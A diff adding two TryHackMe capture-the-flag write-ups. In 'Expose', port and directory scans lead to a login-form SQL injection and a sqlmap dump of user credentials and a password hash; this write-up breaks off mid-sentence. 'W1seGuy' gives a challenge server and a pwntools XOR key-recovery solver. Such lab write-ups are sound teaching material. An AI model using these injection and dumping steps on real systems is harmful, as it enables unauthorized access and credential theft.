diff --git a/tryhackme/Expose.md b/tryhackme/Expose.md new file mode 100644 index 0000000..98cccaf --- /dev/null +++ b/tryhackme/Expose.md @@ -0,0 +1,343 @@ +# Expose Writeup + +This is an easy machine that teaches you enumeration and patience. + +## Enumeration + +```sh +nmap -p- --min-rate 3000 10.10.45.72 +Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-03 14:25 CEST +Nmap scan report for 10.10.45.72 +Host is up (0.064s latency). +Not shown: 65530 closed tcp ports (conn-refused) +PORT STATE SERVICE +21/tcp open ftp +22/tcp open ssh +53/tcp open domain +1337/tcp open waste +1883/tcp open mqtt + +Nmap done: 1 IP address (1 host up) scanned in 23.94 seconds +``` + +### FTP + +Taking a quick look at the ftp content yields and empty directory and no interesting information + +```sh +$ ftp anonymous@10.10.144.33 +Connected to 10.10.144.33 +220 Welcome to the Expose Web Challenge. +331 Please specify the password. +Password: +230 Login successful. +Remote system type is UNIX. +Using binary mode to transfer files. +ftp> ls -la +229 Entering Extended Passive Mode (|||30302|) +150 Here comes the directory listing. +drwxr-xr-x 2 0 121 4096 Jun 11 11:56 . +drwxr-xr-x 2 0 121 4096 Jun 11 11:56 .. +226 Directory send OK. +ftp> +``` + +### MQTT + +Taking a look at the messages sent via mqtt topics through [MQTT-Explorer](https://github.com/thomasnordquist/MQTT-Explorer/releases) shows a bunch of metrics data. +I'll ignore this for now. + +### Web + +Next in line is web enumeration. Therefore, I'll use dirsearch. + +```sh +$ dirsearch -r -R 5 -u 10.10.144.33:1337 + +[00:43:20] Starting: +[00:43:23] 403 - 279B - /.ht_wsr.txt +[00:43:23] 403 - 279B - /.htaccess.bak1 +[00:43:23] 403 - 279B - /.htaccess.sample +[00:43:23] 403 - 279B - /.htaccess.orig +[00:43:23] 403 - 279B - /.htaccess_orig +[00:43:23] 403 - 279B - /.htaccess.save +[00:43:23] 403 - 279B - /.htaccess_extra +[00:43:23] 403 - 279B - /.htaccess_sc +[00:43:23] 403 - 279B - /.htaccessOLD +[00:43:23] 403 - 279B - /.htaccessOLD2 +[00:43:23] 403 - 279B - /.htaccessBAK +[00:43:23] 403 - 279B - /.html +[00:43:23] 403 - 279B - /.htm +[00:43:23] 403 - 279B - /.htpasswds +[00:43:23] 403 - 279B - /.htpasswd_test +[00:43:23] 403 - 279B - /.httr-oauth +[00:43:24] 403 - 279B - /.php +[00:43:32] 301 - 319B - /admin -> http://10.10.144.33:1337/admin/ (Added to queue) +[00:43:33] 403 - 279B - /admin/.htaccess +[00:43:33] 200 - 1KB - /admin/ +[00:43:33] 200 - 1KB - /admin/?/login +[00:43:33] 200 - 1KB - /admin/index.php +[00:43:35] 301 - 323B - /admin_101 -> http://10.10.144.33:1337/admin_101/ (Added to queue) +[00:43:53] 200 - 91B - /index.php +[00:43:53] 200 - 91B - /index.php/login/ (Added to queue) +[00:43:54] 301 - 324B - /javascript -> http://10.10.144.33:1337/javascript/ (Added to queue) +[00:44:00] 200 - 15KB - /phpmyadmin/doc/html/index.html +[00:44:01] 301 - 324B - /phpmyadmin -> http://10.10.144.33:1337/phpmyadmin/ +[00:44:02] 200 - 14KB - /phpmyadmin/ +[00:44:02] 200 - 14KB - /phpmyadmin/index.php +[00:44:05] 403 - 279B - /server-status/ (Added to queue) +[00:44:05] 403 - 279B - /server-status +[00:44:14] Starting: admin/ +[00:44:17] 403 - 279B - /admin/.ht_wsr.txt +[00:44:17] 403 - 279B - /admin/.htaccess.orig +[00:44:17] 403 - 279B - /admin/.htaccess.save +[00:44:17] 403 - 279B - /admin/.htm +[00:44:17] 403 - 279B - /admin/.html +[00:44:17] 403 - 279B - /admin/.htpasswd_test +[00:44:17] 403 - 279B - /admin/.htaccess_sc +[00:44:17] 403 - 279B - /admin/.htpasswds +[00:44:17] 403 - 279B - /admin/.htaccessOLD +[00:44:17] 403 - 279B - /admin/.htaccessBAK +[00:44:17] 403 - 279B - /admin/.htaccess_extra +[00:44:17] 403 - 279B - /admin/.htaccess_orig +[00:44:17] 403 - 279B - /admin/.htaccess.sample +[00:44:17] 403 - 279B - /admin/.htaccessOLD2 +[00:44:17] 403 - 279B - /admin/.httr-oauth +[00:44:17] 403 - 279B - /admin/.htaccess.bak1 +[00:44:18] 403 - 279B - /admin/.php +[00:44:35] 301 - 326B - /admin/assets -> http://10.10.144.33:1337/admin/assets/ (Added to queue) +[00:44:35] 200 - 2KB - /admin/assets/ +[00:44:45] 200 - 1KB - /admin/index.php +[00:44:45] 200 - 1KB - /admin/index.php/login/ (Added to queue) +[00:44:48] 500 - 0B - /admin/logout.php +[00:44:50] 301 - 327B - /admin/modules -> http://10.10.144.33:1337/admin/modules/ (Added to queue) +[00:44:50] 200 - 1KB - /admin/modules/ +[00:45:05] Starting: admin_101/ +[00:45:08] 403 - 279B - /admin_101/.ht_wsr.txt +[00:45:08] 403 - 279B - /admin_101/.htaccess.bak1 +[00:45:08] 403 - 279B - /admin_101/.htaccess.orig +[00:45:08] 403 - 279B - /admin_101/.htaccess.sample +[00:45:08] 403 - 279B - /admin_101/.htaccessOLD2 +[00:45:08] 403 - 279B - /admin_101/.htaccess.save +[00:45:08] 403 - 279B - /admin_101/.htaccessBAK +[00:45:08] 403 - 279B - /admin_101/.htaccess_extra +[00:45:08] 403 - 279B - /admin_101/.htaccess_orig +[00:45:08] 403 - 279B - /admin_101/.htaccess_sc +[00:45:08] 403 - 279B - /admin_101/.html +[00:45:09] 403 - 279B - /admin_101/.htm +[00:45:09] 403 - 279B - /admin_101/.httr-oauth +[00:45:09] 403 - 279B - /admin_101/.htpasswds +[00:45:09] 403 - 279B - /admin_101/.htpasswd_test +[00:45:09] 403 - 279B - /admin_101/.htaccessOLD +[00:45:10] 403 - 279B - /admin_101/.php +[00:45:25] 200 - 2KB - /admin_101/assets/ (Added to queue) +[00:45:25] 301 - 330B - /admin_101/assets -> http://10.10.144.33:1337/admin_101/assets/ +[00:45:28] 302 - 1KB - /admin_101/chat.php -> index +[00:45:36] 301 - 332B - /admin_101/includes -> http://10.10.144.33:1337/admin_101/includes/ (Added to queue) +[00:45:36] 200 - 1KB - /admin_101/includes/ +[00:45:36] 200 - 2KB - /admin_101/index.php +[00:45:36] 200 - 2KB - /admin_101/index.php/login/ (Added to queue) +[00:45:39] 302 - 0B - /admin_101/logout.php -> login +[00:45:41] 200 - 1KB - /admin_101/modules/ (Added to queue) +[00:45:41] 301 - 331B - /admin_101/modules -> http://10.10.144.33:1337/admin_101/modules/ +[00:45:49] 200 - 2KB - /admin_101/signup.php +[00:45:52] 301 - 328B - /admin_101/test -> http://10.10.144.33:1337/admin_101/test/ (Added to queue) +[00:45:52] 200 - 769B - /admin_101/test/ +[00:46:04] Starting: index.php/login/ +[00:46:56] Starting: javascript/ +[00:46:59] 403 - 279B - /javascript/.htaccess.bak1 +[00:46:59] 403 - 279B - /javascript/.ht_wsr.txt +[00:46:59] 403 - 279B - /javascript/.htaccess.orig +[00:46:59] 403 - 279B - /javascript/.htaccessOLD2 +[00:46:59] 403 - 279B - /javascript/.htaccessBAK +[00:46:59] 403 - 279B - /javascript/.htaccess_sc +[00:46:59] 403 - 279B - /javascript/.htaccess_extra +[00:46:59] 403 - 279B - /javascript/.htaccess.save +[00:46:59] 403 - 279B - /javascript/.htaccess.sample +[00:46:59] 403 - 279B - /javascript/.htaccessOLD +[00:46:59] 403 - 279B - /javascript/.htaccess_orig +[00:46:59] 403 - 279B - /javascript/.htpasswd_test +[00:47:00] 403 - 279B - /javascript/.htpasswds +[00:47:00] 403 - 279B - /javascript/.htm +[00:47:00] 403 - 279B - /javascript/.httr-oauth +[00:47:00] 403 - 279B - /javascript/.html +[00:47:01] 403 - 279B - /javascript/.php +[00:47:48] Starting: server-status/ +[00:47:50] 404 - 276B - /server-status/%2e%2e//google.com +[00:48:41] Starting: admin/assets/ +[00:48:44] 403 - 279B - /admin/assets/.ht_wsr.txt +[00:48:44] 403 - 279B - /admin/assets/.htaccess.bak1 +[00:48:44] 403 - 279B - /admin/assets/.htaccess.orig +[00:48:44] 403 - 279B - /admin/assets/.htaccess.save +[00:48:44] 403 - 279B - /admin/assets/.htaccess.sample +[00:48:44] 403 - 279B - /admin/assets/.htpasswds +[00:48:44] 403 - 279B - /admin/assets/.httr-oauth +[00:48:44] 403 - 279B - /admin/assets/.htaccessOLD +[00:48:44] 403 - 279B - /admin/assets/.htaccess_extra +[00:48:44] 403 - 279B - /admin/assets/.htaccess_orig +[00:48:44] 403 - 279B - /admin/assets/.htaccessOLD2 +[00:48:44] 403 - 279B - /admin/assets/.htaccessBAK +[00:48:44] 403 - 279B - /admin/assets/.htaccess_sc +[00:48:44] 403 - 279B - /admin/assets/.html +[00:48:44] 403 - 279B - /admin/assets/.htm +[00:48:44] 403 - 279B - /admin/assets/.htpasswd_test +[00:48:46] 403 - 279B - /admin/assets/.php +[00:49:36] Starting: admin/index.php/login/ +[00:50:34] Starting: admin/modules/ +[00:50:38] 403 - 279B - /admin/modules/.htaccess.bak1 +[00:50:38] 403 - 279B - /admin/modules/.ht_wsr.txt +[00:50:38] 403 - 279B - /admin/modules/.htaccess.sample +[00:50:38] 403 - 279B - /admin/modules/.htaccess_extra +[00:50:38] 403 - 279B - /admin/modules/.htaccess.orig +[00:50:38] 403 - 279B - /admin/modules/.htaccess_sc +[00:50:38] 403 - 279B - /admin/modules/.htaccessBAK +[00:50:38] 403 - 279B - /admin/modules/.htaccess.save +[00:50:38] 403 - 279B - /admin/modules/.htaccessOLD2 +[00:50:38] 403 - 279B - /admin/modules/.htaccess_orig +[00:50:38] 403 - 279B - /admin/modules/.htm +[00:50:38] 403 - 279B - /admin/modules/.htaccessOLD +[00:50:38] 403 - 279B - /admin/modules/.httr-oauth +[00:50:38] 403 - 279B - /admin/modules/.htpasswd_test +[00:50:38] 403 - 279B - /admin/modules/.htpasswds +[00:50:38] 403 - 279B - /admin/modules/.html +[00:50:39] 403 - 279B - /admin/modules/.php +[00:51:04] 200 - 16B - /admin/modules/footer.php +[00:51:05] 200 - 628B - /admin/modules/header.php +[00:51:29] Starting: admin_101/assets/ +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.orig +[00:51:33] 403 - 279B - /admin_101/assets/.ht_wsr.txt +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.sample +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.save +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_orig +[00:51:33] 403 - 279B - /admin_101/assets/.htaccessOLD2 +[00:51:33] 403 - 279B - /admin_101/assets/.htaccessBAK +[00:51:33] 403 - 279B - /admin_101/assets/.html +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_sc +[00:51:33] 403 - 279B - /admin_101/assets/.htaccessOLD +[00:51:33] 403 - 279B - /admin_101/assets/.htm +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess.bak1 +[00:51:33] 403 - 279B - /admin_101/assets/.httr-oauth +[00:51:33] 403 - 279B - /admin_101/assets/.htpasswds +[00:51:33] 403 - 279B - /admin_101/assets/.htpasswd_test +[00:51:33] 403 - 279B - /admin_101/assets/.htaccess_extra +[00:51:34] 403 - 279B - /admin_101/assets/.php +[00:52:23] Starting: admin_101/includes/ +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.orig +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.bak1 +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.sample +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess.save +[00:52:27] 403 - 279B - /admin_101/includes/.htaccessBAK +[00:52:27] 403 - 279B - /admin_101/includes/.ht_wsr.txt +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_orig +[00:52:27] 403 - 279B - /admin_101/includes/.htm +[00:52:27] 403 - 279B - /admin_101/includes/.htpasswd_test +[00:52:27] 403 - 279B - /admin_101/includes/.htaccessOLD2 +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_sc +[00:52:27] 403 - 279B - /admin_101/includes/.htaccess_extra +[00:52:27] 403 - 279B - /admin_101/includes/.htaccessOLD +[00:52:27] 403 - 279B - /admin_101/includes/.htpasswds +[00:52:27] 403 - 279B - /admin_101/includes/.httr-oauth +[00:52:27] 403 - 279B - /admin_101/includes/.html +[00:52:29] 403 - 279B - /admin_101/includes/.php +[00:53:18] Starting: admin_101/index.php/login/ +[00:54:19] Starting: admin_101/modules/ +[00:54:23] 403 - 279B - /admin_101/modules/.ht_wsr.txt +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.bak1 +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.orig +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.sample +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_extra +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_orig +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess.save +[00:54:23] 403 - 279B - /admin_101/modules/.htaccessOLD2 +[00:54:23] 403 - 279B - /admin_101/modules/.htaccessBAK +[00:54:23] 403 - 279B - /admin_101/modules/.html +[00:54:23] 403 - 279B - /admin_101/modules/.htpasswd_test +[00:54:23] 403 - 279B - /admin_101/modules/.htaccess_sc +[00:54:23] 403 - 279B - /admin_101/modules/.htaccessOLD +[00:54:23] 403 - 279B - /admin_101/modules/.htm +[00:54:23] 403 - 279B - /admin_101/modules/.htpasswds +[00:54:23] 403 - 279B - /admin_101/modules/.httr-oauth +[00:54:24] 403 - 279B - /admin_101/modules/.php +[00:54:49] 200 - 16B - /admin_101/modules/footer.php +[00:54:50] 500 - 0B - /admin_101/modules/header.php +[00:55:13] Starting: admin_101/test/ +[00:55:17] 403 - 279B - /admin_101/test/.ht_wsr.txt +[00:55:17] 403 - 279B - /admin_101/test/.htaccess.orig +[00:55:17] 403 - 279B - /admin_101/test/.htaccess.bak1 +[00:55:17] 403 - 279B - /admin_101/test/.htaccess_extra +[00:55:17] 403 - 279B - /admin_101/test/.htaccess.save +[00:55:17] 403 - 279B - /admin_101/test/.htaccess.sample +[00:55:17] 403 - 279B - /admin_101/test/.htaccess_sc +[00:55:17] 403 - 279B - /admin_101/test/.htaccess_orig +[00:55:17] 403 - 279B - /admin_101/test/.htaccessOLD +[00:55:17] 403 - 279B - /admin_101/test/.htaccessBAK +[00:55:17] 403 - 279B - /admin_101/test/.htaccessOLD2 +[00:55:17] 403 - 279B - /admin_101/test/.htpasswd_test +[00:55:17] 403 - 279B - /admin_101/test/.htm +[00:55:17] 403 - 279B - /admin_101/test/.html +[00:55:17] 403 - 279B - /admin_101/test/.htpasswds +[00:55:17] 403 - 279B - /admin_101/test/.httr-oauth +[00:55:18] 403 - 279B - /admin_101/test/.php +``` + +We can see two different administrational url paths. Visiting `admin_101` provides a login with a username prefilled. +Catching the response of an unsuccessful login attempt via Burpsuite shows the SQL query in JSON format. +Pretty clearly there is a possible SQL injection through the username/email parameter of the form. + +```json +{ + "status": "error", + "messages": [ + "SELECT * FROM user WHERE email = 'hacker@root.thm'" + ] +} +``` + +Using sqlmap on the file containing the stored POST request of the login provides us some passwords and paths stored in some database tables. + +```sh +sqlmap -r ./login.req --dump +``` + +``` +[...] +Database: expose +Table: config +[2 entries] ++----+------------------------------+-----------------------------------------------------+ +| id | url | password | ++----+------------------------------+-----------------------------------------------------+ +| 1 | /file1010111/index.php | 69c66901194a6486176e81f5945b8929 | +| 3 | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z | ++----+------------------------------+-----------------------------------------------------+ + +[22:53:58] [INFO] table 'expose.config' dumped to CSV file '/home/kali/.local/share/sqlmap/output/10.10.144.33/dump/expose/config.csv' +[22:53:58] [INFO] fetching columns for table 'user' in database 'expose' +[22:53:58] [INFO] retrieved: 'id' +[22:53:58] [INFO] retrieved: 'int' +[22:53:58] [INFO] retrieved: 'email' +[22:53:58] [INFO] retrieved: 'varchar(512)' +[22:53:58] [INFO] retrieved: 'password' +[22:53:59] [INFO] retrieved: 'varchar(512)' +[22:53:59] [INFO] retrieved: 'created' +[22:53:59] [INFO] retrieved: 'timestamp' +[22:53:59] [INFO] fetching entries for table 'user' in database 'expose' +[22:53:59] [INFO] retrieved: '2023-02-21 09:05:46' +[22:53:59] [INFO] retrieved: 'hacker@root.thm' +[22:53:59] [INFO] retrieved: '1' +[22:53:59] [INFO] retrieved: 'VeryDifficultPassword!!#@#@!#!@#1231' +Database: expose +Table: user +[1 entry] ++----+-----------------+---------------------+--------------------------------------+ +| id | email | created | password | ++----+-----------------+---------------------+--------------------------------------+ +| 1 | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 | ++----+-----------------+---------------------+--------------------------------------+ +[...] +``` + +[Crackstation](https://crackstation.net) is able to solve the password hash of id 1 in no time. + +After + diff --git a/tryhackme/w1seguy.md b/tryhackme/w1seguy.md new file mode 100644 index 0000000..ce1216e --- /dev/null +++ b/tryhackme/w1seguy.md @@ -0,0 +1,122 @@ +# W1seGuy + +This is a solver function for the `W1seGuy` challenge of [tryhackme](https://tryhackme.com/r/room/w1seguy). + +We get the implementation of the server we can connect to through the +downloaded file. +A key is a random string of alphanumeric characters with a length of 5. +We can take a look an see that there a key xored with the flag. +To execute the xor function the key has to be at the length of the flag. This +is achieved through the modulo over the length of the key. After the key has +been xored the resulting bytestring is changed to a hex representation. + +We need to find out the key to xor it with the result we are given by the +server after we have been connected. + +```python +import random +import socketserver +import socket, os +import string + +flag = open('flag.txt','r').read().strip() + +def send_message(server, message): + enc = message.encode() + server.send(enc) + +def setup(server, key): + flag = 'THM{thisisafakeflag}' + xored = "" + + for i in range(0,len(flag)): + xored += chr(ord(flag[i]) ^ ord(key[i%len(key)])) + + hex_encoded = xored.encode().hex() + return hex_encoded + +def start(server): + res = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) + key = str(res) + hex_encoded = setup(server, key) + send_message(server, "This XOR encoded text has flag 1: " + hex_encoded + "\n") + print(hex_encoded) + + send_message(server,"What is the encryption key? ") + key_answer = server.recv(4096).decode().strip() + + try: + if key_answer == key: + send_message(server, "Congrats! That is the correct key! Here is flag 2: " + flag + "\n") + server.close() + else: + send_message(server, 'Close but no cigar' + "\n") + server.close() + except: + send_message(server, "Something went wrong. Please try again. :)\n") + server.close() + +class RequestHandler(socketserver.BaseRequestHandler): + def handle(self): + start(self.request) + +if __name__ == '__main__': + socketserver.ThreadingTCPServer.allow_reuse_address = True + server = socketserver.ThreadingTCPServer(('0.0.0.0', 1337), RequestHandler) + server.serve_forever() +``` + +## Solution + +We need 5 characters to rebuild the key and solve the flag. +We know the flag starts with the chars `THM{` and ends with `}`, in total 5 +characters. + +That is enough information. We connect to the server, get the hexed and xored +flag. It is reversed to its bytestring representation and xored with a random +key. When the string `THM{` is found we've got 4 out of 5 characters of the +key. The fifth is found through iterating the alphanumeric string and xoring +the key with the flag again. + +```python +import sys +from pwn import * +import binascii +import string +import random + +def solve(): + p = remote(sys.argv[1], 1337) + r = p.recv().strip().split() + p.recv() + alpha = string.ascii_letters + string.digits + + hex_encoded = r[7].decode() + print(f"Got flag 1: {hex_encoded}") + + hex_decoded = binascii.unhexlify(hex_encoded).decode() + print(f"Unhexed Key is: {hex_decoded} with a length of {len(hex_decoded)}") + + while True: + _res = '' + _key = str(''.join(random.choices(alpha, k=5))) + _key = _key * (len(hex_decoded) // 5 ) + for i in range(0, len(hex_decoded)): + _res += chr(ord(hex_decoded[i]) ^ ord(_key[i%len(_key)])) + if _res.startswith("THM{"): + for char in alpha: + res = '' + key = _key[:4] + char + key = key * (len(hex_decoded) // 5) + for i in range(0, len(hex_decoded)): + res += chr(ord(hex_decoded[i]) ^ ord(key[i%len(key)])) + if res.endswith('}'): + print("Flag 1: " + res) + print("Key: " + key[:5]) + p.send(key[:5].encode()) + print(p.recv().decode()) + return + +if __name__ == "__main__": + solve() +```